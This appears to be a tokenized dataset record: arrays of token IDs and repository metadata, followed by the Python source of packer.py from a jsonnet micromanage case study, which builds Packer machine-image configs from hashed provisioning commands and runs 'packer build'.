63, 589, 63, 1593, 63, 11219, 12, 18423, 63, 958, 63, 1593, 63, 11219, 12, 272, 3510, 585, 63, 807, 63, 498, 63, 705, 9, 421, 199, 32, 4415, 63, 1751, 8, 5287, 29, 549, 12, 24877, 63, 5287, 29, 549, 9, 199, 533, 14245, 2768, 2925, 8, 1746, 304, 272, 8187, 275, 298, 1345, 63, 2219, 14, 3603, 2, 339, 347, 511, 63, 1725, 8, 277, 304, 267, 1177, 275, 291, 14, 1258, 14, 362, 2336, 3536, 6217, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 6891, 9, 398, 666, 275, 469, 288, 283, 493, 63, 576, 14, 2424, 356, 5870, 24665, 360, 493, 63, 576, 14, 2424, 297, 330, 7, 2411, 2411, 659, 267, 789, 267, 1177, 275, 291, 14, 1258, 14, 1932, 2336, 3536, 3678, 666, 9, 267, 291, 14, 9535, 8, 1310, 12, 283, 493, 63, 576, 14, 2424, 297, 2004, 63, 600, 29, 5783, 9, 267, 291, 14, 23218, 8, 1310, 12, 283, 2411, 2411, 297, 2004, 63, 600, 29, 5783, 9, 339, 347, 511, 63, 13353, 8, 277, 304, 267, 327, 7523, 949, 13269, 14, 1360, 1978, 3495, 370, 511, 314, 849, 1930, 14, 267, 3272, 63, 396, 63, 1160, 63, 3422, 14079, 267, 862, 26, 288, 1177, 275, 291, 14, 1258, 14, 362, 2336, 3536, 13353, 6217, 288, 291, 14, 9535, 8, 1310, 12, 2650, 72, 17, 30, 13353, 2104, 10912, 1108, 72, 17, 4206, 2004, 63, 600, 29, 13353, 9, 267, 3753, 26, 288, 9066, 63, 1160, 63, 16370, 342, 339, 347, 511, 63, 13353, 63, 1160, 8, 277, 304, 267, 327, 2494, 1536, 282, 511, 13269, 14, 1360, 1978, 14, 267, 3272, 63, 396, 63, 1160, 63, 3422, 8, 288, 791, 13353, 14, 1360, 356, 283, 2765, 365, 282, 511, 1978, 367, 282, 13269, 2104, 10912, 1125, 14, 936, 267, 776, 267, 862, 26, 288, 1177, 275, 291, 14, 1258, 14, 362, 2336, 3536, 13353, 6217, 288, 291, 14, 9535, 8, 1310, 12, 283, 396, 1978, 297, 2004, 63, 600, 29, 13353, 9, 267, 3753, 26, 288, 9066, 63, 1160, 63, 16370, 342, 339, 347, 511, 63, 5188, 8, 277, 304, 267, 1177, 275, 291, 14, 1258, 14, 362, 2336, 3536, 5188, 6217, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 7901, 9, 339, 347, 511, 63, 1345, 63, 3924, 8, 277, 304, 267, 367, 302, 315, 1425, 8, 552, 8, 2590, 63, 589, 2298, 288, 291, 14, 1855, 8, 30509, 1726, 12, 291, 14, 1258, 14, 362, 12, 355, 3837, 360, 1345, 63, 1971, 297, 1249, 2687, 78, 20097, 339, 347, 511, 63, 2865, 63, 76, 709, 7439, 63, 6677, 63, 1580, 8, 277, 304, 267, 408, 267, 19378, 11449, 436, 27571, 5190, 1067, 5664, 1004, 5579, 9296, 1133, 506, 25460, 14, 267, 408, 267, 543, 291, 14, 1751, 8, 5287, 29, 549, 12, 4815, 63, 44, 709, 46, 29, 549, 304, 288, 1177, 275, 291, 14, 1258, 14, 362, 2336, 3536, 5783, 6217, 288, 327, 2136, 3648, 367, 282, 4163, 7956, 402, 314, 1824, 288, 327, 2650, 3015, 1021, 628, 1100, 2, 1305, 628, 67, 1703, 713, 708, 2036, 1743, 297, 440, 2650, 3015, 1021, 628, 1100, 2, 1305, 628, 67, 1703, 12, 4288, 12, 10630, 4507, 288, 291, 14, 9535, 8, 1310, 12, 2650, 3015, 1021, 628, 1100, 2, 1305, 628, 297, 2004, 63, 600, 29, 5783, 9, 288, 1336, 275, 295, 14, 1733, 8, 66, 7601, 3015, 1021, 628, 1100, 2, 1305, 628, 2229, 48, 28, 344, 13489, 937, 8771, 1743, 297, 1177, 14, 1317, 9, 288, 291, 14, 3334, 8, 1431, 365, 488, 9, 288, 1305, 63, 2722, 275, 1336, 14, 923, 360, 344, 358, 288, 291, 14, 3334, 8, 264, 14, 1733, 8, 66, 16122, 67, 60, 68, 4300, 1305, 63, 2722, 395, 2490, 298, 14687, 11449, 315, 3105, 1177, 4163, 2034, 9296, 1133, 506, 25460, 334, 585, 26, 450, 83, 17617, 450, 1305, 63, 2722, 9, 339, 347, 511, 63, 1160, 63, 3924, 8, 277, 304, 267, 367, 302, 315, 1425, 8, 552, 8, 2590, 63, 589, 2298, 288, 862, 26, 355, 291, 14, 1258, 14, 362, 8, 4471, 360, 1160, 63, 1971, 297, 1249, 2687, 78, 20097, 288, 871, 2186, 26, 355, 17026, 63, 2102, 275, 6485, 14, 3446, 19105, 17, 15898, 18, 1527, 16, 1055, 1913, 342, 355, 291, 14, 3334, 8, 345, 11136, 63, 2102, 14, 1623, 360, 3730, 23804, 1726, 358, 508, 446, 17, 12, 490, 298, 4276, 370, 2342, 283, 3730, 23804, 1726, 7, 315, 2061, 2787, 402, 5190, 12, 3140, 1911, 26, 450, 83, 2, 450, 717, 17026, 63, 2102, 9, 339, 347, 511, 63, 1160, 63, 3422, 63, 1932, 12416, 563, 8, 277, 304, 267, 408, 2925, 367, 440, 3411, 570 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 961, 2803, 1406, 365, 16474, 367, 2295, 12, 465, 314, 3105, 2455, 365, 6057, 199, 3, 1584, 370, 2754, 367, 4066, 282, 1406, 370, 4849, 314, 1350, 570, 1564, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 14802, 199, 646, 6485, 199, 646, 747, 199, 646, 295, 199, 646, 5145, 199, 646, 984, 199, 504, 5549, 492, 31825, 12, 31781, 12, 333, 6080, 808, 199, 504, 2882, 492, 3372, 3917, 199, 199, 504, 1639, 14, 1018, 492, 6016, 199, 504, 1639, 14, 1018, 14, 1725, 14, 19044, 493, 492, 5870, 24665, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 1160, 14, 1095, 492, 27193, 199, 504, 1639, 14, 396, 492, 7640, 12, 18638, 12, 4278, 63, 1751, 199, 504, 1639, 14, 396, 14, 1208, 492, 334, 272, 3272, 63, 396, 63, 1160, 63, 3422, 12, 9066, 63, 1160, 63, 16370, 9, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 12, 3542, 63, 2394, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 4196, 14, 1757, 492, 2186, 15891, 199, 199, 504, 2508, 492, 23804, 1726, 12, 871, 63, 589, 199, 504, 2508, 4196, 492, 334, 7361, 63, 1345, 12, 2222, 63, 7361, 63, 1345, 12, 623, 290, 1170, 63, 1345, 12, 272, 3537, 63, 1971, 63, 12222, 63, 1541, 63, 1345, 12, 18423, 63, 765, 63, 1345, 12, 272, 18423, 63, 589, 63, 1593, 63, 11219, 12, 18423, 63, 958, 63, 1593, 63, 11219, 12, 272, 3510, 585, 63, 807, 63, 498, 63, 705, 9, 421, 199, 32, 4415, 63, 1751, 8, 5287, 29, 549, 12, 24877, 63, 5287, 29, 549, 9, 199, 533, 14245, 2768, 2925, 8, 1746, 304, 272, 8187, 275, 298, 1345, 63, 2219, 14, 3603, 2, 339, 347, 511, 63, 1725, 8, 277, 304, 267, 1177, 275, 291, 14, 1258, 14, 362, 2336, 3536, 6217, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 6891, 9, 398, 666, 275, 469, 288, 283, 493, 63, 576, 14, 2424, 356, 5870, 24665, 360, 493, 63, 576, 14, 2424, 297, 330, 7, 2411, 2411, 659, 267, 789, 267, 1177, 275, 291, 14, 1258, 14, 1932, 2336, 3536, 3678, 666, 9, 267, 291, 14, 9535, 8, 1310, 12, 283, 493, 63, 576, 14, 2424, 297, 2004, 63, 600, 29, 5783, 9, 267, 291, 14, 23218, 8, 1310, 12, 283, 2411, 2411, 297, 2004, 63, 600, 29, 5783, 9, 339, 347, 511, 63, 13353, 8, 277, 304, 267, 327, 7523, 949, 13269, 14, 1360, 1978, 3495, 370, 511, 314, 849, 1930, 14, 267, 3272, 63, 396, 63, 1160, 63, 3422, 14079, 267, 862, 26, 288, 1177, 275, 291, 14, 1258, 14, 362, 2336, 3536, 13353, 6217, 288, 291, 14, 9535, 8, 1310, 12, 2650, 72, 17, 30, 13353, 2104, 10912, 1108, 72, 17, 4206, 2004, 63, 600, 29, 13353, 9, 267, 3753, 26, 288, 9066, 63, 1160, 63, 16370, 342, 339, 347, 511, 63, 13353, 63, 1160, 8, 277, 304, 267, 327, 2494, 1536, 282, 511, 13269, 14, 1360, 1978, 14, 267, 3272, 63, 396, 63, 1160, 63, 3422, 8, 288, 791, 13353, 14, 1360, 356, 283, 2765, 365, 282, 511, 1978, 367, 282, 13269, 2104, 10912, 1125, 14, 936, 267, 776, 267, 862, 26, 288, 1177, 275, 291, 14, 1258, 14, 362, 2336, 3536, 13353, 6217, 288, 291, 14, 9535, 8, 1310, 12, 283, 396, 1978, 297, 2004, 63, 600, 29, 13353, 9, 267, 3753, 26, 288, 9066, 63, 1160, 63, 16370, 342, 339, 347, 511, 63, 5188, 8, 277, 304, 267, 1177, 275, 291, 14, 1258, 14, 362, 2336, 3536, 5188, 6217, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 7901, 9, 339, 347, 511, 63, 1345, 63, 3924, 8, 277, 304, 267, 367, 302, 315, 1425, 8, 552, 8, 2590, 63, 589, 2298, 288, 291, 14, 1855, 8, 30509, 1726, 12, 291, 14, 1258, 14, 362, 12, 355, 3837, 360, 1345, 63, 1971, 297, 1249, 2687, 78, 20097, 339, 347, 511, 63, 2865, 63, 76, 709, 7439, 63, 6677, 63, 1580, 8, 277, 304, 267, 408, 267, 19378, 11449, 436, 27571, 5190, 1067, 5664, 1004, 5579, 9296, 1133, 506, 25460, 14, 267, 408, 267, 543, 291, 14, 1751, 8, 5287, 29, 549, 12, 4815, 63, 44, 709, 46, 29, 549, 304, 288, 1177, 275, 291, 14, 1258, 14, 362, 2336, 3536, 5783, 6217, 288, 327, 2136, 3648, 367, 282, 4163, 7956, 402, 314, 1824, 288, 327, 2650, 3015, 1021, 628, 1100, 2, 1305, 628, 67, 1703, 713, 708, 2036, 1743, 297, 440, 2650, 3015, 1021, 628, 1100, 2, 1305, 628, 67, 1703, 12, 4288, 12, 10630, 4507, 288, 291, 14, 9535, 8, 1310, 12, 2650, 3015, 1021, 628, 1100, 2, 1305, 628, 297, 2004, 63, 600, 29, 5783, 9, 288, 1336, 275, 295, 14, 1733, 8, 66, 7601, 3015, 1021, 628, 1100, 2, 1305, 628, 2229, 48, 28, 344, 13489, 937, 8771, 1743, 297, 1177, 14, 1317, 9, 288, 291, 14, 3334, 8, 1431, 365, 488, 9, 288, 1305, 63, 2722, 275, 1336, 14, 923, 360, 344, 358, 288, 291, 14, 3334, 8, 264, 14, 1733, 8, 66, 16122, 67, 60, 68, 4300, 1305, 63, 2722, 395, 2490, 298, 14687, 11449, 315, 3105, 1177, 4163, 2034, 9296, 1133, 506, 25460, 334, 585, 26, 450, 83, 17617, 450, 1305, 63, 2722, 9, 339, 347, 511, 63, 1160, 63, 3924, 8, 277, 304, 267, 367, 302, 315, 1425, 8, 552, 8, 2590, 63, 589, 2298, 288, 862, 26, 355, 291, 14, 1258, 14, 362, 8, 4471, 360, 1160, 63, 1971, 297, 1249, 2687, 78, 20097, 288, 871, 2186, 26, 355, 17026, 63, 2102, 275, 6485, 14, 3446, 19105, 17, 15898, 18, 1527, 16, 1055, 1913, 342, 355, 291, 14, 3334, 8, 345, 11136, 63, 2102, 14, 1623, 360, 3730, 23804, 1726, 358, 508, 446, 17, 12, 490, 298, 4276, 370, 2342, 283, 3730, 23804, 1726, 7, 315, 2061, 2787, 402, 5190, 12, 3140, 1911, 26, 450, 83, 2, 450, 717, 17026, 63, 2102, 9, 339, 347, 511, 63, 1160, 63, 3422, 63, 1932, 12416, 563, 8, 277, 304, 267, 408, 2925, 367, 440, 3411, 570, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
davidzchen/jsonnet
case_studies/micromanage/packer.py
6
4791
# Copyright 2015 Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import hashlib import subprocess import build_artefact import cmds import util _NAME_CHARS = ([chr(i) for i in range(ord('0'), ord('9'))] + [chr(i) for i in range(ord('a'), ord('z'))]) def hash_code_as_domain_name(n): n = n % (2**63) if n < 0: n += 2**63 radix = len(_NAME_CHARS) s = "" for i in range(12): d = n % radix s = _NAME_CHARS[d] + s n /= radix return s def hash_string(s): r = long(hashlib.sha1(s).hexdigest(), 16) if r < 0: r += 2**63 return r def hash_cmds(cmds): hash_code = 0l for cmd in cmds: if isinstance(cmd, basestring): hash_code ^= hash_string(cmd) elif cmd['kind'] == 'LiteralFile': hash_code ^= hash_string(cmd['content']) hash_code ^= hash_string(cmd['to']) hash_code ^= hash_string(cmd['filePermissions']) hash_code ^= hash_string(cmd['owner']) hash_code ^= hash_string(cmd['group']) elif cmd['kind'] == 'CopyFile': # TODO(dcunnin): Scan these files, compute hash hash_code ^= hash_string(cmd['from']) hash_code ^= hash_string(cmd['to']) hash_code ^= hash_string(cmd['dirPermissions']) hash_code ^= hash_string(cmd['filePermissions']) hash_code ^= hash_string(cmd['owner']) hash_code ^= hash_string(cmd['group']) raise RuntimeError('CopyFile not supported in image') elif cmd['kind'] == 'EnsureDir': hash_code ^= hash_string(cmd['dir']) hash_code ^= hash_string(cmd['dirPermissions']) hash_code ^= hash_string(cmd['owner']) hash_code ^= hash_string(cmd['group']) else: raise RuntimeError('Did not recognize image command kind: ' + cmd['kind']) return hash_code class PackerBuildArtefact(build_artefact.BuildArtefact): def __init__(self, cmds): self.cmds = cmds self.cachedHashCode = None self.packerProcess = None def builderHashCode(self): raise NotImplementedError("%s has no override" % self.__class__.__name__) def hashCode(self): if self.cachedHashCode is None: self.cachedHashCode = self.builderHashCode() ^ hash_cmds(self.cmds) return self.cachedHashCode def _configFileName(self): return self.name() + '.packer.json' def _config(self): provs = [ { 'type': 'shell', 'execute_command': "{{ .Vars }} sudo -E /bin/bash '{{ .Path }}'", 'inline': cmds.compile_command_to_bash(cmd), } for cmd in self.cmds ] return util.jsonstr({'builders': [self.builder()], 'provisioners': provs}) def name(self): return 'micromanage-%s' % hash_code_as_domain_name(self.hashCode()) def getOutputFiles(self, dirpath): return ['%s/%s' % (dirpath, self._configFileName())] def outputFiles(self, dirpath): config = self._config() dirfilename = '%s/%s' % (dirpath, self._configFileName()) with open(dirfilename, 'w') as f: f.write(config) def doBuild(self, dirpath): filename = self._configFileName() if self.packerProcess is not None: raise RuntimeError('Packer build already in progress.') command = ['packer', 'build', filename] logfilename = '%s/%s.log' % (dirpath, filename) print '%s > %s' % (' '.join(command), logfilename) with open(logfilename, 'w') as logfile: self.packerProcess = subprocess.Popen(command, stdout=logfile, cwd=dirpath) def wait(self, dirpath): if self.packerProcess is None: raise RuntimeError('No Packer build in progress.') exitcode = self.packerProcess.wait() if exitcode != 0: print 'Packer error: Exit code was %d' % exitcode filename = self._configFileName() logfilename = '%s/%s.log' % (dirpath, filename) with open(logfilename, 'r') as logfile: print logfile.read() raise RuntimeError('Error from packer.')
apache-2.0
[ 3, 1898, 6900, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 8337, 199, 646, 3873, 199, 199, 646, 1900, 63, 285, 266, 7783, 199, 646, 11465, 199, 646, 4884, 199, 199, 63, 2339, 63, 16326, 275, 7287, 10194, 8, 73, 9, 367, 284, 315, 1425, 8, 2181, 360, 16, 659, 6206, 360, 25, 27738, 1598, 435, 359, 10194, 8, 73, 9, 367, 284, 315, 1425, 8, 2181, 360, 65, 659, 6206, 360, 90, 1333, 566, 421, 199, 318, 2631, 63, 600, 63, 305, 63, 2261, 63, 354, 8, 78, 304, 272, 302, 275, 302, 450, 334, 18, 538, 2766, 9, 272, 340, 302, 665, 378, 26, 267, 302, 847, 499, 538, 2766, 272, 14070, 88, 275, 822, 1547, 2339, 63, 16326, 9, 272, 308, 275, 3087, 272, 367, 284, 315, 1425, 8, 713, 304, 267, 366, 275, 302, 450, 14070, 88, 267, 308, 275, 485, 2339, 63, 16326, 59, 68, 61, 435, 308, 267, 302, 12257, 14070, 88, 272, 372, 308, 421, 199, 318, 2631, 63, 875, 8, 83, 304, 272, 519, 275, 1846, 8, 24722, 14, 4835, 17, 8, 83, 680, 11453, 1062, 3193, 9, 272, 340, 519, 665, 378, 26, 267, 519, 847, 499, 538, 2766, 272, 372, 519, 421, 199, 318, 2631, 63, 12975, 8, 12975, 304, 272, 2631, 63, 600, 275, 378, 76, 272, 367, 2088, 315, 11465, 26, 267, 340, 1228, 8, 1760, 12, 7116, 304, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 9, 267, 916, 2088, 459, 5091, 418, 508, 283, 7621, 1173, 356, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 1317, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 475, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 493, 17004, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 4597, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 923, 1105, 267, 916, 2088, 459, 5091, 418, 508, 283, 5116, 1173, 356, 288, 327, 3254, 8, 3833, 324, 28693, 304, 24833, 3520, 1584, 12, 4526, 2631, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 504, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 475, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 694, 17004, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 493, 17004, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 4597, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 923, 1105, 288, 746, 6064, 360, 5116, 1173, 440, 3748, 315, 1834, 358, 267, 916, 2088, 459, 5091, 418, 508, 283, 13913, 3567, 356, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 694, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 694, 17004, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 4597, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 923, 1105, 267, 587, 26, 288, 746, 6064, 360, 17366, 440, 27159, 1834, 1414, 4928, 26, 283, 435, 2088, 459, 5091, 1105, 272, 372, 2631, 63, 600, 421, 199, 533, 9954, 281, 3425, 1596, 266, 7783, 8, 1506, 63, 285, 266, 7783, 14, 3425, 1596, 266, 7783, 304, 272, 347, 636, 826, 721, 277, 12, 11465, 304, 267, 291, 14, 12975, 275, 11465, 267, 291, 14, 5245, 3476, 3034, 275, 488, 267, 291, 14, 1389, 281, 3498, 275, 488, 339, 347, 6545, 3476, 3034, 8, 277, 304, 267, 746, 4279, 3647, 83, 965, 949, 4278, 2, 450, 291, 855, 533, 4914, 354, 3368, 339, 347, 2631, 3034, 8, 277, 304, 267, 340, 291, 14, 5245, 3476, 3034, 365, 488, 26, 288, 291, 14, 5245, 3476, 3034, 275, 291, 14, 5649, 3476, 3034, 342, 7167, 2631, 63, 12975, 8, 277, 14, 12975, 9, 267, 372, 291, 14, 5245, 3476, 3034, 339, 347, 485, 888, 7733, 8, 277, 304, 267, 372, 291, 14, 354, 342, 435, 1987, 1389, 281, 14, 1001, 7, 339, 347, 485, 888, 8, 277, 304, 267, 557, 3122, 275, 359, 288, 469, 355, 283, 466, 356, 283, 5641, 297, 355, 283, 2526, 63, 1531, 356, 7370, 1275, 16270, 3586, 14682, 446, 37, 1182, 1393, 15, 16408, 11400, 1275, 2042, 3586, 4662, 355, 283, 6460, 356, 11465, 14, 2014, 63, 1531, 63, 475, 63, 16408, 8, 1760, 395, 288, 789, 288, 367, 2088, 315, 291, 14, 12975, 267, 1622, 267, 372, 4884, 14, 1001, 495, 3252, 20968, 356, 359, 277, 14, 5649, 15618, 283, 13717, 1192, 356, 557, 3122, 1552, 339, 347, 536, 8, 277, 304, 267, 372, 283, 15003, 20971, 474, 3295, 83, 7, 450, 2631, 63, 600, 63, 305, 63, 2261, 63, 354, 8, 277, 14, 2227, 3034, 1012, 339, 347, 664, 2959, 5535, 8, 277, 12, 20648, 304, 267, 372, 15926, 83, 3149, 83, 7, 450, 334, 17254, 12, 291, 423, 888, 7733, 24821, 339, 347, 1072, 5535, 8, 277, 12, 20648, 304, 267, 1101, 275, 291, 423, 888, 342, 267, 2935, 1501, 275, 1543, 83, 3149, 83, 7, 450, 334, 17254, 12, 291, 423, 888, 7733, 1012, 267, 543, 1551, 8, 694, 1501, 12, 283, 87, 358, 465, 289, 26, 288, 289, 14, 952, 8, 888, 9, 339, 347, 886, 3425, 8, 277, 12, 20648, 304, 267, 1788, 275, 291, 423, 888, 7733, 342, 267, 340, 291, 14, 1389 ]
[ 1898, 6900, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 646, 8337, 199, 646, 3873, 199, 199, 646, 1900, 63, 285, 266, 7783, 199, 646, 11465, 199, 646, 4884, 199, 199, 63, 2339, 63, 16326, 275, 7287, 10194, 8, 73, 9, 367, 284, 315, 1425, 8, 2181, 360, 16, 659, 6206, 360, 25, 27738, 1598, 435, 359, 10194, 8, 73, 9, 367, 284, 315, 1425, 8, 2181, 360, 65, 659, 6206, 360, 90, 1333, 566, 421, 199, 318, 2631, 63, 600, 63, 305, 63, 2261, 63, 354, 8, 78, 304, 272, 302, 275, 302, 450, 334, 18, 538, 2766, 9, 272, 340, 302, 665, 378, 26, 267, 302, 847, 499, 538, 2766, 272, 14070, 88, 275, 822, 1547, 2339, 63, 16326, 9, 272, 308, 275, 3087, 272, 367, 284, 315, 1425, 8, 713, 304, 267, 366, 275, 302, 450, 14070, 88, 267, 308, 275, 485, 2339, 63, 16326, 59, 68, 61, 435, 308, 267, 302, 12257, 14070, 88, 272, 372, 308, 421, 199, 318, 2631, 63, 875, 8, 83, 304, 272, 519, 275, 1846, 8, 24722, 14, 4835, 17, 8, 83, 680, 11453, 1062, 3193, 9, 272, 340, 519, 665, 378, 26, 267, 519, 847, 499, 538, 2766, 272, 372, 519, 421, 199, 318, 2631, 63, 12975, 8, 12975, 304, 272, 2631, 63, 600, 275, 378, 76, 272, 367, 2088, 315, 11465, 26, 267, 340, 1228, 8, 1760, 12, 7116, 304, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 9, 267, 916, 2088, 459, 5091, 418, 508, 283, 7621, 1173, 356, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 1317, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 475, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 493, 17004, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 4597, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 923, 1105, 267, 916, 2088, 459, 5091, 418, 508, 283, 5116, 1173, 356, 288, 327, 3254, 8, 3833, 324, 28693, 304, 24833, 3520, 1584, 12, 4526, 2631, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 504, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 475, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 694, 17004, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 493, 17004, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 4597, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 923, 1105, 288, 746, 6064, 360, 5116, 1173, 440, 3748, 315, 1834, 358, 267, 916, 2088, 459, 5091, 418, 508, 283, 13913, 3567, 356, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 694, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 694, 17004, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 4597, 1105, 288, 2631, 63, 600, 31753, 2631, 63, 875, 8, 1760, 459, 923, 1105, 267, 587, 26, 288, 746, 6064, 360, 17366, 440, 27159, 1834, 1414, 4928, 26, 283, 435, 2088, 459, 5091, 1105, 272, 372, 2631, 63, 600, 421, 199, 533, 9954, 281, 3425, 1596, 266, 7783, 8, 1506, 63, 285, 266, 7783, 14, 3425, 1596, 266, 7783, 304, 272, 347, 636, 826, 721, 277, 12, 11465, 304, 267, 291, 14, 12975, 275, 11465, 267, 291, 14, 5245, 3476, 3034, 275, 488, 267, 291, 14, 1389, 281, 3498, 275, 488, 339, 347, 6545, 3476, 3034, 8, 277, 304, 267, 746, 4279, 3647, 83, 965, 949, 4278, 2, 450, 291, 855, 533, 4914, 354, 3368, 339, 347, 2631, 3034, 8, 277, 304, 267, 340, 291, 14, 5245, 3476, 3034, 365, 488, 26, 288, 291, 14, 5245, 3476, 3034, 275, 291, 14, 5649, 3476, 3034, 342, 7167, 2631, 63, 12975, 8, 277, 14, 12975, 9, 267, 372, 291, 14, 5245, 3476, 3034, 339, 347, 485, 888, 7733, 8, 277, 304, 267, 372, 291, 14, 354, 342, 435, 1987, 1389, 281, 14, 1001, 7, 339, 347, 485, 888, 8, 277, 304, 267, 557, 